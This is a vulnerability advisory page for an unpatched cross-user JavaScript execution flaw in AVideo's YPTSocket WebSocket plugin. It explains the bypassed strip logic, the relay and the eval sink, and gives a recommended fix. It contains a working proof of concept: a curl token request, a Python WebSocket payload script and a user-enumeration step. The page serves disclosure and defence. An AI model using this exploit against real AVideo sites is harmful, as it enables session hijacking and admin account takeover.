Skip to content

GHSA-ghcv-22jf-vfxm CVE-2026-43874

AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass

High Packagist
Severity
7.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.92% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
None yet
No fixed version published

Description

Summary

The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().

Details

Entry point (unauthenticated)

plugin/YPTSocket/getWebSocket.json.php (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:

$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));

getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.

Incomplete strip (the fix from commit c08694bf6)

plugin/YPTSocket/Message.php:236-247:

// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.

Relay preference picks the untouched field

plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):

if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:

  1. Passes switch ($json->msg) into the default case (Message.php:211, 228).
  2. msgToArray($json) converts to array. The strip branch enters because sentFrom === 'browser', but is_array("x") is false and the strip is skipped.
  3. Routing lands on msgToUsers_id($json, $json['to_users_id']) (Message.php:253), which for each matching resource calls msgToResourceId($msg, $resourceId) (Message.php:379).
  4. In msgToResourceId, !empty($msg['json']) is true, so $obj['msg'] becomes {"autoEvalCodeOnHTML": "<js>"} (Message.php:316-317).
  5. The shouldPropagateInfo() check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.

Client-side sink

plugin/YPTSocket/script.js:573-575:

if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.

Routing to any user

msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.

PoC

Step 1 — mint an unauthenticated WebSocket token:

curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}

Step 2 — connect and send the crafted message:

import json, ssl, websocket

TOKEN  = '<TOKEN>'          # from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2                  # any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',                                                  # scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()

Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().

Optional Step 0 — enumerate active users (using the same token):

ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values

Impact

  • Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site — no click, no link, no CSRF.
  • Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
  • Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.
  • Mass exploitation feasible: getClientsList (also reachable with the anonymous token) enumerates active users_id values, and the attacker can iterate to_users_id across all of them.
  • This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit c08694bf6 remain exploitable.

Recommended Fix

Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():

if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    foreach (['msg', 'json'] as $k) {
        if (is_array($json[$k] ?? null)) {
            unset($json[$k]['autoEvalCodeOnHTML']);
        }
    }
    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
    if (isset($json['autoEvalCodeOnHTML'])) {
        unset($json['autoEvalCodeOnHTML']);
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink — walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 29.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 7.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor